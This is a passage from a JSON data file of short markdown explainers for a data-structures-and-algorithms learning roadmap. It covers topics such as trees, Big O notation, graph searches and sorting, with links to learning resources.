    "content": "# Advanced Data Structures\n\nAdvanced data structures are an integral part of advanced programming. They include structures such as Binary Search Trees (BST), Balanced trees like AVL Trees, Red-Black Trees, Heap, Disjoint Data Set, Trie, Suffix Array, Suffix tree and others. BST is a node-based data structure where each node contains a key, a pointer to left child and a pointer to right child. AVL and Red-Black trees are self-balancing binary search trees. Disjoint set data structure supports union and find operations making them useful in computer vision for segmentation. Trie is an ordered tree structure used for faster retrievals, while Suffix Array and Suffix tree are data structures used in pattern matching algorithms. These structures offer an efficient way of manipulating and storing data."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/algorithmic-complexity@VotdHk0_bI3CeoIf-KoKu.md",
    "content": "# Algorithmic Complexity\n\n\"Algorithmic Complexity\" refers to the computing resources needed by an algorithm to solve a problem. These computing resources can be the time taken for program execution (time complexity), or the space used in memory during its execution (space complexity). The aim is to minimize these resources, so an algorithm that takes less time and space is considered more efficient. Complexity is usually expressed using Big O notation, which describes the upper bound of time or space needs, and explains how they grow in relation to the input size. It's important to analyze and understand the algorithmic complexity to choose or design the most efficient algorithm for a specific use-case."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/array@lxY3ErxJ_D3zkSAXIBUpv.md",
    "content": "# Array\n\nVisit the following resources to learn more:\n\n- [@video@Arrays in Python](https://www.youtube.com/watch?v=gDqQf4Ekr2A&ab_channel=codebasics)\n- [@video@Arrays in Java](https://www.youtube.com/watch?v=ei_4Nt7XWOw&ab_channel=BroCode)\n- [@video@Arrays in Javascript](https://www.youtube.com/watch?v=yQ1fz8LY354)\n- [@video@Arrays in GoLang](https://www.youtube.com/watch?v=e-oBn806Pzc&pp=ygUIYXJyYXkgZ28%3D)\n- [@video@Arrays in C#](https://www.youtube.com/watch?v=YiE0oetGMAg&pp=ygUIYXJyYXkgYyM%3D)\n- [@video@Arrays in C++](https://www.youtube.com/watch?v=G38hQKXa_RU&pp=ygUJYXJyYXkgYysr)\n- [@video@Arrays in Rust](https://www.youtube.com/watch?v=cH6Qv47MPwk&pp=ygUKYXJyYXkgcnVzdA%3D%3D)\n- [@video@Arrays in Ruby](https://www.youtube.com/watch?v=SP3Vf2KcYeU&pp=ygUKYXJyYXkgcnVieQ%3D%3D)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/asymptotic-notation@v0LrabYYOKzV4oCXOK2Rs.md",
    "content": "# Asymptotic Notation\n\nAsymptotic notation is a way to describe the limiting behavior of a function, typically representing the time or space complexity of an algorithm, as the input size grows. It focuses on the dominant terms and ignores constant factors and lower-order terms, providing a simplified and generalized way to compare the efficiency of different algorithms. Common notations include Big O, Big Omega, and Big Theta, which represent upper bound, lower bound, and tight bound, respectively.\n\nVisit the following resources to learn more:\n\n- [@article@Asymptotic Analysis: Big-O Notation and More](https://www.programiz.com/dsa/asymptotic-notations)\n- [@article@The Big O Notation](https://towardsdatascience.com/big-o-notation-32fb458e5260/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/avl-trees@5MCgKpylPzDZaGBEUU51r.md",
    "content": "# AVL Trees\n\nAn **AVL tree** is a type of binary search tree that is self-balancing, which means the heights of the two child subtrees of any node in the tree differ by at most one. If at any point the difference becomes greater than one, rebalancing is done to restore the property. The tree is named after its inventors, G.M. Adelson-Velsky and E.M. Landis, who introduced it in 1962. Each node in an AVL tree carries extra information (its Balance Factor) which could be either -1, 0, or +1. AVL trees balance themselves by rotating sub-trees in different manners(named as Left-Left rotation, Right-Right rotation, Left-Right rotation, and Right-Left rotation) whenever an insert operation causes the balance factor to go beyond this range.\n\nVisit the following resources to learn more:\n\n- [@video@AVL trees in 5 minutes — Intro & Search](https://www.youtube.com/watch?v=DB1HFCEdLxA)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/b-trees@2F6BcbAzICynOK3oEj-Is.md",
    "content": "# B-Trees\n\nB-Tree is a self-balanced search tree data structure that maintains sorted data and allows for efficient insertion, deletion, and search operations. It is most commonly used in systems where read and write operations are performed on disk, such as databases and file systems. The main characteristic of a B-Tree is that all leaves are at the same level, and the internal nodes can store more than one key. Each node in a B-Tree contains a certain number of keys and pointers which navigate the tree. The keys act as separation values which divide its subtrees. For example, if a node contains the values \\[10,20,30\\] it has four children: the first contains values less than 10, the second contains values between 10 and 20, the third contains values between 20 and 30, and the fourth contains values greater than 30.\n\nVisit the following resources to learn more:\n\n- [@video@B-trees in 4 minutes — Intro](https://www.youtube.com/watch?v=FgWbADOG44s)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/backtracking@mKoC5o__gLSTjAlq8iXkV.md",
    "content": "# Backtracking\n\nBacktracking is a powerful algorithmic technique that aims to solve a problem incrementally, by trying out an various sequences of decisions. If at any point it realizes that its current path will not lead to a solution, it reverses or \"backtracks\" the most recent decision and tries the next available route. Backtracking is often applied in problems where the solution requires the sequence of decisions to meet certain constraints, like the 8-queens puzzle or the traveling salesperson problem. In essence, it involves exhaustive search and thus, can be computationally expensive. However, with the right sorts of constraints, it can sometimes find solutions to problems with large and complex spaces very efficiently.\n\nVisit the following resources to learn more:\n\n- [@video@What is backtracking?](https://www.youtube.com/watch?v=Peo7k2osVVs)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/basic-data-structures@iTlpa9A7h33FkUAv0UaVZ.md",
    "content": "# Basic Data Structures\n\nThe five main types of basic data structures are: **Arrays**, **Linked Lists**, **Stacks**, **Queues**, and **Hash Tables**.\n\n*   **Arrays** are static data structures that store elements of the same type in contiguous memory locations.\n*   **Linked Lists** are dynamic data structures that store elements in individual nodes, with each node pointing to the next.\n*   **Stacks** follow the Last-In-First-Out principle (LIFO) and primarily assist in function calls in most programming languages.\n*   **Queues** operate on the First-In-First-Out principle (FIFO) and are commonly used in task scheduling.\n*   Lastly, **Hash Tables** store key-value pairs allowing for fast insertion, deletion, and search operations."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/bb-trees@2G6vn7K11_mPQQ7_IXJ96.md",
    "content": "# B/B+ Trees\n\n`B trees` and `B+ trees` are both types of self-balancing, sorted, tree-based data structures that maintain sorted data in a way that allows for efficient insertion, deletion, and search operations. A `B tree` is a tree data structure in which each node has multiple keys and can be in more than two children nodes. Each internal node in a `B tree` can contain a variable number of keys and pointers. The keys act as separation values which divide its subtrees. One important aspect of a `B tree` is that every key in the node also appears in the parent node. On the other hand, a `B+ tree` is an extension of a `B tree` which allows for efficient traversal of data. In a `B+ tree`, data pointers are stored only at the leaf nodes of the tree, making every leaf node of a `B+ tree` a linked list. The intermediary nodes only use the keys to aid with the search.\n\nVisit the following resources to learn more:\n\n- [@video@B Trees and B+ Trees. How they are useful in Databases](https://www.youtube.com/watch?v=aZjYr87r1b8)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/bellman-ford-algoritm@7CgGwdwHnOmISmEPtJegN.md",
    "content": "# Bellman-Ford\n\nThe **Bellman Ford algorithm** is a method used in graph theory for finding the shortest path between a single source vertex and all other vertices in a weighted graph. This algorithm is significant because it is capable of handling graphs with negative weight edges, unlike Dijkstra's algorithm. It follows a bottom-up approach, filling up the distance table gradually while relaxing edges. The algorithm gets its name from its developers, Richard Bellman and Lester Ford. However, it can lead to an infinite loop if there are negative weight cycles in the graph, which should be addressed separately using another check."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/big--notation@CkUi93TvTkEm2_isHNvqr.md",
    "content": "# Big-Ω Notation\n\nThe Big Omega (Ω) notation is used in computer science to describe an algorithm's lower bound. Essentially, it provides a best-case analysis of an algorithm's efficiency, giving us a lower limit of the performance. If we say a function f(n) is Ω(g(n)), it means that from a certain point onwards (n0 for some constant n0), the value of g(n) is a lower bound on f(n). It implies that f(n) is at least as fast as g(n) past a certain threshold. This means that the algorithm won't perform more efficiently than the Ω time complexity suggests."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/big--notation@Ex6tzu6gwrarWm1CNFufO.md",
    "content": "# Big-θ Notation\n\nBig Theta (θ) notation is used in computer science to describe an asymptotic tight bound on a function. This essentially means it provides both an upper and lower bound for a function. When we say a function f(n) is θ(g(n)), we mean that the growth rate of f(n) is both bounded above and below by the function g(n) after a certain point. This is more precise than Big O and Big Omega notation, which provide only an upper and a lower bound, respectively. Big Theta notation tells us exactly how a function behaves for large input values. For example, if an algorithm has a time complexity of θ(n^2), it means the running time will increase quadratically with the input size."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/big-o-notation@oylTfop_JDPHJ3jYuA2Nq.md",
    "content": "# Big O Notation\n\n\"Big O\" notation, officially known as O-notation, is used in computer science to describe the performance or complexity of an algorithm. Specifically, it provides an upper bound on the time complexity, describing the worst-case scenario. Thus, it gives an upper limit on the time taken for an algorithm to complete based on the size of the input. The notation is expressed as O(f(n)), where f(n) is a function that measures the largest count of steps that an algorithm could possibly take to solve a problem of size n. For instance, O(n) denotes a linear relationship between the time taken and the input size, while O(1) signifies constant time complexity, i.e., the time taken is independent of input size. Remember, Big O notation is only an approximation meant to describe the scaling of the algorithm and not the exact time taken.\n\nVisit the following resources to learn more:\n\n- [@article@Big-O Cheat Sheet](https://www.bigocheatsheet.com/)\n- [@video@Introduction to Big O Notation and Time Complexity](https://www.youtube.com/watch?v=D6xkbGLQesk)\n- [@video@Big-O Notation](https://www.youtube.com/watch?v=BgLTDT03QtU)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/binary-search-trees@UYm7unZfXd9Ge5EYV4odb.md",
    "content": "# Binary Search Trees\n\nA **Binary Search Tree** (BST) is a type of binary tree data structure where each node carries a unique key (a value), and each key/node has up to two referenced sub-trees, the left and right child. The key feature of a BST is that every node on the right subtree must have a value greater than its parent node, while every node on the left subtree must have a value less than its parent node. This property must be true for all the nodes, not just the root. Due to this property, searching, insertion, and removal of a node in a BST perform quite fast, and the operations can be done in O(log n) time complexity, making it suitable for data-intensive operations.\n\nVisit the following resources to learn more:\n\n- [@video@Binary Search Tree Part-1](https://youtu.be/lFq5mYUWEBk?si=GKRm1O278NCetnry)\n- [@video@Binary Search Tree Part-2](https://youtu.be/JnrbMQyGLiU?si=1pfKn2akKXWLshY6)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/binary-search@Wt74MRKaZcs8lYvfqjffT.md",
    "content": "# Binary Search\n\n`Binary Search` is a type of search algorithm that follows the divide and conquer strategy. It works on a sorted array by repeatedly dividing the search interval in half. Initially, the search space is the entire array and the target is compared with the middle element of the array. If they are not equal, the half in which the target cannot lie is eliminated and the search continues on the remaining half, again taking the middle element to compare to the target, and repeating this until the target is found. If the search ends with the remaining half being empty, the target is not in the array. Binary Search is log(n) as it cuts down the search space by half each step.\n\nVisit the following resources to learn more:\n\n- [@video@Learn Binary Search in 10 minutes](https://www.youtube.com/watch?v=xrMppTpoqdw)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/binary-trees@RPU5CGp2Li5lk0UB-zNHT.md",
    "content": "# Binary Trees\n\nA **Binary Tree** is a type of tree data structure in which each node has at most two children, referred to as the left child and the right child. This distinguishes it from trees in which nodes can have any number of children. A binary tree is further classified as a strictly binary tree if every non-leaf node in the tree has non-empty left and right child nodes. A binary tree is complete if all levels of the tree, except possibly the last, are fully filled, and all nodes are as left-justified as possible. Multiple algorithms and functions employ binary trees due to their suitable properties for mathematical operations and data organization.\n\nVisit the following resources to learn more:\n\n- [@video@Binary Tree](https://youtu.be/4r_XR9fUPhQ?si=PBsRjix_Z9kVHgMM)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/breadth-first-search@c7LdXJPv-5M-NPKSCXYuB.md",
    "content": "# Breadth First Search\n\nBreadth-First Search (BFS) is a searching algorithm used to traverse or search in data structures like a tree or a graph. The algorithm starts with a root node and visits the nodes in a level by level manner (i.e., visiting the ones nearest to the root first). It makes use of a queue data structure to store nodes not yet visited. A check is performed before nodes are put in the queue. This is to ensure same node is not visited twice. BFS can be used in multiple areas like finding shortest paths, serialized tree or in test case scenarios where all vertices are equally important."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/breadth-first-search@pfg-qclOpvlsGMdlZ1aoj.md",
    "content": "# Breadth First Search\n\nBreadth-First Search (BFS) is a searching algorithm that's used in tree or graph data structures. It starts from the root (the topmost node in the tree) and expands all neighboring nodes at the present depth prior to moving on to nodes at the next depth level. This technique uses a queue data structure to remember to explore the next vertex or node and every edge that leads to a vertex will be explored, which ensures the discovery of every vertex reachable from the source. BFS is complete in nature, which means if the searched node is in the tree, BFS is guaranteed to find it."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/brute-force@5T2y6Iqi-I_zOtLkeSPzY.md",
    "content": "# Brute Force\n\n\"Brute Force\" is a straightforward method to solve problems. It involves trying every possible solution until the right one is found. This technique does not require any specific skills or knowledge and the approach is directly applied to the problem at hand. However, while it can be effective, it is not always efficient since it often requires a significant amount of time and resources to go through all potential solutions. In terms of computational problems, a brute force algorithm examines all possibilities one by one until a satisfactory solution is found. With growing complexity, the processing time of brute force solutions dramatically increases leading to combinatorial explosion. Brute force is a base for complex problem-solving algorithms which improve the time and space complexity by adding heuristics or rules of thumb.\n\nVisit the following resources to learn more:\n\n- [@article@Brute Force Technique in Algorithms](https://medium.com/@shraddharao_/brute-force-technique-in-algorithms-34bac04bde8a)\n- [@video@Brute Force Algorithm Explained With C++ Examples](https://www.youtube.com/watch?v=BYWf6-tpQ4k)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/bubble-sort@zUDKCJCQHLW4c_6A349R3.md",
    "content": "# Bubble Sort\n\nBubble Sort is a simple sorting algorithm that works by repeatedly swapping the adjacent elements if they are in the wrong order. It gets its name because with each iteration the largest element \"bubbles\" up to its proper location. It continues this process of swapping until the entire list is sorted in ascending order. The main steps of the algorithm are: starting from the beginning of the list, compare every pair of adjacent items and swap them if they are in the wrong order, and then pass through the list until no more swaps are needed. However, despite being simple, Bubble Sort is not suited for large datasets as it has a worst-case and average time complexity of O(n²), where n is the number of items being sorted.\n\nVisit the following resources to learn more:\n\n- [@article@Bubble Sort Visualize](https://www.hackerearth.com/practice/algorithms/sorting/bubble-sort/visualize/)\n- [@video@Bubble Sort](https://www.youtube.com/watch?v=Jdtq5uKz-w4)\n- [@video@Bubble Sort](https://www.youtube.com/watch?v=p__ETf2CKY4)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/c@BZvNEZjCNuHPg5SkX90bt.md",
    "content": "# C#\n\nC# (pronounced \"C sharp\") is a general purpose programming language made by Microsoft. It is used to perform different tasks and can be used to create web apps, games, mobile apps, etc.\n\nVisit the following resources to learn more:\n\n- [@article@C# Learning Path](https://docs.microsoft.com/en-us/learn/paths/csharp-first-steps/?WT.mc_id=dotnet-35129-website)\n- [@article@Introduction to C#](https://docs.microsoft.com/en-us/shows/CSharp-101/?WT.mc_id=Educationalcsharp-c9-scottha)\n- [@video@C# tutorials](https://www.youtube.com/watch?v=gfkTfcpWqAY&list=PLTjRvDozrdlz3_FPXwb6lX_HoGXa09Yef)\n- [@feed@Explore top posts about C#](https://app.daily.dev/tags/csharp?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/c@IWmq4UFB5j6O3UJfarh1u.md",
    "content": "# C++\n\nC++ is a powerful general-purpose programming language. It can be used to develop operating systems, browsers, games, and so on. C++ supports different ways of programming like procedural, object-oriented, functional, and so on. This makes C++ powerful as well as flexible.\n\nVisit the following resources to learn more:\n\n- [@official@Visit Dedicated C++ Roadmap](https://roadmap.sh/cpp)\n- [@article@Learn Cpp](https://learncpp.com/)\n- [@article@C++ Reference](https://en.cppreference.com/)\n- [@feed@Explore top posts about C++](https://app.daily.dev/tags/c++?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/common-runtimes@nqnO1Wz3gYIMR98_BnF2V.md",
    "content": "# Algorithmic Complexity\n\n\"Algorithmic Complexity\" refers to the computing resources needed by an algorithm to solve a problem. These computing resources can be the time taken for program execution (time complexity), or the space used in memory during its execution (space complexity). The aim is to minimize these resources, so an algorithm that takes less time and space is considered more efficient. Complexity is usually expressed using Big O notation, which describes the upper bound of time or space needs, and explains how they grow in relation to the input size. It's important to analyze and understand the algorithmic complexity to choose or design the most efficient algorithm for a specific use-case."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/complex-data-structures@kSpgFuAHyzySWlGBLOHZR.md",
    "content": "# Complex Data Structures\n\nComplex data structures are advanced structures that are used for storing and organizing data in a more specialized way to manage larger amounts of data more effectively. These include Trees, Graphs, Hash Tables, and Heaps. Trees allow for hierarchical data structures and can be utilized in many ways like Binary Trees, AVL Trees etc. Graphs are networks consisting of nodes or vertices, connected by edges. Hash Tables use a hash function to compute an index into an array of buckets or slots, from which the desired value can be found. Heaps are a special case of a binary tree where the parent nodes are compared to their children with specific rules."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/constant@_bpV8MkVOY8ZatTXYaEE4.md",
    "content": "# Constant\n\nConstant time complexity is denoted as O(1). This means the running time of the algorithm remains constant, regardless of the size of the input data set. Whether you're working with an array of 10 elements or 1 million, if an operation takes the same amount of time regardless of the size of the array, it is said to have a constant time complexity. For example, accessing any element in an array by index is an O(1) operation, as the access operation takes the same amount of time regardless of the position of the element in the array."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/control-structures@G74Xp8_EMZO2oEzNTRAli.md",
    "content": "# Control Structures\n\nControl structures are fundamental elements in most programming languages that facilitate the flow of control through a program. There are three main types of control structures: Sequential, Selection and Iteration.\n\n*   **Sequential** control structures are the default mode where instructions happen one after another.\n*   **Selection** control structures (often called \"conditional\" or \"decision\" structures) allow one set of instructions to be executed if a condition is true and another if it's false. These typically include `if...else` statements.\n*   **Iteration** control structures (also known as _loops_) allow a block of code to be repeated multiple times. Common loop structures include `for`, `while`, and `do...while` loops. All these control structures play a vital role in shaping the program logic."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/cyclic-sort@L1FIJAluyxG6CGaVLM20O.md",
    "content": "# Cyclic Sort"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/depth-first-search@NrPO7vF8Z1WzmA9Ca3Y_E.md",
    "content": "# Depth First Search\n\n**Depth-First Search (DFS)** is an algorithm used for traversing or searching tree or graph data structures. The process starts at the root node (selecting some arbitrary node as the root in the case of a graph), and explores as far as possible along each branch before backtracking. It uses a last in, first out (LIFO) stack to remember to get the next vertex to start a search when a dead end occurs in any iteration. DFS has been used in a variety of applications including finding connected components, topological sorting, and finding articulation points (or cut vertices) in a graph.\n\nVisit the following resources to learn more:\n\n- [@video@Learn Depth First Search in 7 minutes](https://youtu.be/by93qH4ACxo?si=FXcUfuwB5atV5SIY)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/depth-first-search@gR8KcOIADUxS8hdiEaGZy.md",
    "content": "# Depth First Search\n\nDepth First Search (DFS) is an algorithm for traversing or searching tree or graph data structures. The process starts at the root (in the case of a tree) or an arbitrary node (in case of a graph), and explores as far as possible along each branch before retracing steps. Essentially, DFS is about diving deep into the tree/graph from a starting point, and when no more nodes are left to explore, it backtracks, moving up the tree/graph. This repeat until all nodes have been visited. This algorithm is often used in simulation of game states, solving puzzles and finding connected components in a graph."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/dijkstras-algorithm@87UugvReiywF0E7Acos9U.md",
    "content": "# Dijkstra's Algorithm\n\nDijkstra's algorithm is a popular method used in computing and graph theory for finding the shortest paths between nodes in a graph. Named after Dutch computer scientist Edsger W. Dijkstra, this algorithm works by visiting vertices in the graph starting from the object's starting point and gradually spreading out until the shortest path to the desired endpoint is known. This algorithm is applicable in such situation where all the edges are non-negative. Linear data structures such as stacks and queues are commonly used in the implementation of this algorithm. Although its worst-case time complexity appears to be high (O(|V|^2)), it runs significantly faster in practice."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/directed-graph@XVw2_dL3uN0SOWmjH1Uao.md",
    "content": "# Directed Graph\n\nA **Directed Graph**, also known as a DiGraph, is a set of vertices and a collection of directed edges. Each directed edge has an initial vertex, also called the tail, and a terminal vertex, also known as the head. The directed edge is said to point from the tail to the head. To visualize this, think of a graph where the nodes are cities and the edges are one-way roads. Directed graphs are often used to represent relationships between objects where direction does matter, such as a sequence of events in a workflow."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/disjoint-set-union-find@La8XAT0BWvqRCrvQxtZIp.md",
    "content": "# Disjoint Set (Union-Find)\n\nA **disjoint-set** data structure, also called a union-find data structure or merge-find set, is a data structure that tracks a partition of a set into numerous non-overlapping subsets. It provides near-constant-time operations to add new sets, to merge existing sets, and to determine whether elements are in the same set. The underlying algorithm uses two main techniques, `Union by Rank` and `Path Compression`, to achieve the efficient time complexity. Each element is represented as a node, and each group of disjoint sets forms a tree structure. Disjoint sets are useful in multitude of graph algorithms like Kruskal’s algorithm and many more."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/divide-and-conquer@xchWhsizaKgYuHPC4Tz9H.md",
    "content": "# Divide and Conquer\n\nDivide and conquer is a powerful algorithm design technique that solves a problem by breaking it down into smaller and easier-to-manage sub-problems, until these become simple enough to be solved directly. This approach is usually carried out recursively for most problems. Once all the sub-problems are solved, the solutions are combined to give a solution to the original problem. It is a common strategy that significantly reduces the complexity of the problem.\n\nVisit the following resources to learn more:\n\n- [@video@Divide & Conquer Algorithm In 3 Minutes](https://www.youtube.com/watch?v=YOh6hBtX5l0)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/dynamic-programming@jKAZNybU9cxufNBdFsqsP.md",
    "content": "# Dynamic Programming\n\n**Dynamic Programming** is a powerful problem-solving method that solves complex problems by breaking them down into simpler subproblems and solving each subproblem only once, storing their results using a memory-based data structure (like an array or a dictionary). The principle of dynamic programming is based on _Bellman's Principle of Optimality_ which provides a method to solve optimization problems. In practical terms, this approach avoids repetitive computations by storing the results of expensive function calls. This technique is widely used in optimization problems where the same subproblem may occur multiple times. Dynamic Programming is used in numerous fields including mathematics, economics, and computer science.\n\nVisit the following resources to learn more:\n\n- [@article@Getting Started with Dynamic Programming in Data Structures and Algorithms](https://medium.com/@PythonicPioneer/getting-started-with-dynamic-programming-in-data-structures-and-algorithms-126c7a16775c)\n- [@video@What Is Dynamic Programming and How To Use It](https://www.youtube.com/watch?v=vYquumk4nWw&t=4s)\n- [@video@5 Simple Steps for Solving Dynamic Programming Problems](https://www.youtube.com/watch?v=aPQY__2H3tE)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/edabit@8-7phxPp1D1mv2yubpLBo.md",
    "content": "# Edabit\n\n[Edabit](https://edabit.com/) is an online platform designed to improve coding skills for various programming languages like JavaScript, Python, C#, PHP, Java, Swift, Ruby, and C++. This platform is centered around practice and engagement, through interactive challenges that assist in learning the syntax, structure, and basic concepts of the aforementioned languages. Edabit does not just provide the solution but the process, showcasing different approaches to solving the challenges. For each challenge, it represents the difficulty level and assigned category, allowing users to choose and practice according to proficiency level and need."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/exponential@xqzaYJBvlsNtT6qZ59ktv.md",
    "content": "# Exponential\n\nExponential time complexity is denoted as `O(2^n)`, where a growth in `n` leads to an exponential growth in the number of steps required to complete a task. It means that the time complexity will double with every additional element in the input set. This is seen in many recursive algorithms, where a problem is divided into two sub-problems of the same type. Examples of such algorithms include the naive recursive approach for the Fibonacci sequence or the Towers of Hanoi problem. Although exponential time complexity solutions are often simpler to implement, they are inefficient for larger input sizes."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/factorial@wclY3cmt1fBNYjLsmijdW.md",
    "content": "# Factorial\n\nFactorial, often denoted as `n!`, is a mathematical operation. In the context of computer science and algorithm complexity, it represents an extremely high growth rate. This occurs because of the way a factorial is calculated: The product of all positive integers less than or equal to a non-negative integer `n`. Thus, if an algorithm has a complexity of O(n!), it means the running time increases factorially based on the size of the input data set. That is, for an input of size `n`, the algorithm does `n` \\* `(n-1)` \\* `(n-2)` \\* ... \\* `1` operations. O(n!) is essentially the worst case scenario of complexity for an algorithm and is seen in brute-force search algorithms, such as the traveling salesman problem via brute-force."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/fast-and-slow-pointers@J_No8GTa92DcwPtua30wL.md",
    "content": "# Fast and Slow Pointers"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/fenwick-trees@V9SWO58kaMsU1NT7q26WG.md",
    "content": "# Fenwick Trees\n\nFenwick Trees, also known as Binary Indexed Trees, are data structures that can efficiently support the operation of updating elements and calculating prefix sums in a table of numbers. This makes it particularly useful in situations where the table gets updated often and different kinds of queries (such as sum of elements) need to be answered fast. A Fenwick Tree typically takes O(log n) time for both updation and query operations, which is more efficient than an array or a segment tree. It achieves this efficiency by storing partial sum information in the array. This allows for efficient calculation of sum ranges, with the operation of adding an element and getting the sum of a range both achieve in O(log n) time."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/functions@Cu08m5JOfvrPUDGony144.md",
    "content": "# Functions\n\nFunctions in programming are named sections of a program that perform a specific task. They allow us to write a piece of code once and reuse it in different places throughout the program, making our code more modular and easier to maintain. Functions often take in input, do something with it, and return output. Functions can be categorized into four main types:\n\n*   **Built-in** functions: provided by the programming language, like `print()` in Python.\n*   **User-defined** functions: written by the user for a specific use case.\n*   **Anonymous** functions: also known as lambda functions, which are not declared using the standard keyword (`def` in Python, for example).\n*   **Higher-order** functions: functions that take other functions as arguments or return a function."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/go@OkdM_PJge70j5tsjT2Esl.md",
    "content": "# Go\n\nGo is an open source programming language supported by Google. Go can be used to write cloud services, CLI tools, used for API development, and much more.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@official@A Tour of Go – Go Basics](https://go.dev/tour/welcome/1)\n- [@official@Go Reference Documentation](https://go.dev/doc/)\n- [@article@Go by Example - annotated example programs](https://gobyexample.com/)\n- [@article@Making a RESTful JSON API in Go](https://thenewstack.io/make-a-restful-json-api-go/)\n- [@article@Go, the Programming Language of the Cloud](https://thenewstack.io/go-the-programming-language-of-the-cloud/)\n- [@feed@Explore top posts about Golang](https://app.daily.dev/tags/golang?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/graph-data-structures@j_r1tB16bA7R3yDAWN7Oj.md",
    "content": "# Graph Data Structure\n\nA **Graph Data Structure** consists of a set of vertices (or nodes) and edges where each edge connects a pair of vertices. It can be visualized as networks consisting of elements in interconnected various relationships. There are two major types of graphs: Directed and Undirected. In a directed graph, all the edges are unidirectional - they only go one way. On the other hand, in an undirected graph, the edges are not directed - they are bidirectional. Another concept important to graphs is the idea of 'Weighted' and 'Unweighted' graphs. In a weighted graph, each edge is assigned a weight or cost. Unweighted graphs don't have these extra edge information. Graphs have a diverse set of applications in computer science, from creating connections between web pages to modeling networks and much more."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/greedy-algorithms@qUlqyTjk3XKF9DEm6Lsgb.md",
    "content": "# Greedy Algorithms\n\nGreedy algorithms follow the problem-solving heuristic of making the locally optimal choice at each stage with the hope of finding a global optimum. They are used for optimization problems. An optimal solution is one where the value of the solution is either maximum or minimum. These algorithms work in a \" greedy\" manner by choosing the best option at the current, disregarding any implications on the future steps. This can lead to solutions that are less optimal. Examples of problems solved by greedy algorithms are Kruskal's minimal spanning tree algorithm, Dijkstra's shortest path algorithm, and the Knapsack problem.\n\nVisit the following resources to learn more:\n\n- [@video@Greedy Algorithms Tutorial ](https://www.youtube.com/watch?v=bC7o8P_Ste4)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/hash-tables@kSy-8ubESdmIX4Fyl8TSu.md",
    "content": "# Hash Tables\n\n`Hash Tables` are specialized data structures that allow fast access to data based on a key. Essentially, a hash table works by taking a key input, and then computes an index into an array in which the desired value can be found. It uses a hash function to calculate this index. Suppose the elements are integers and the hash function returns the value at the unit's place. If the given key is 22, it will check the value at index 2. Collisions occur when the hash function returns the same output for two different inputs. There are different methods to handle these collisions such as chaining and open addressing.\n\nVisit the following resources to learn more:\n\n- [@video@Hash Table](https://www.youtube.com/watch?v=KEs5UyBJ39g&ab_channel=takeUforward)\n- [@video@Python Hash Table Part 1](https://www.youtube.com/watch?v=ea8BRGxGmlA)\n- [@video@Python Hash Table Part 2](https://www.youtube.com/watch?v=54iv1si4YCM)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/heap-sort@yMv9Oa3hsgT8Adx6m_rdL.md",
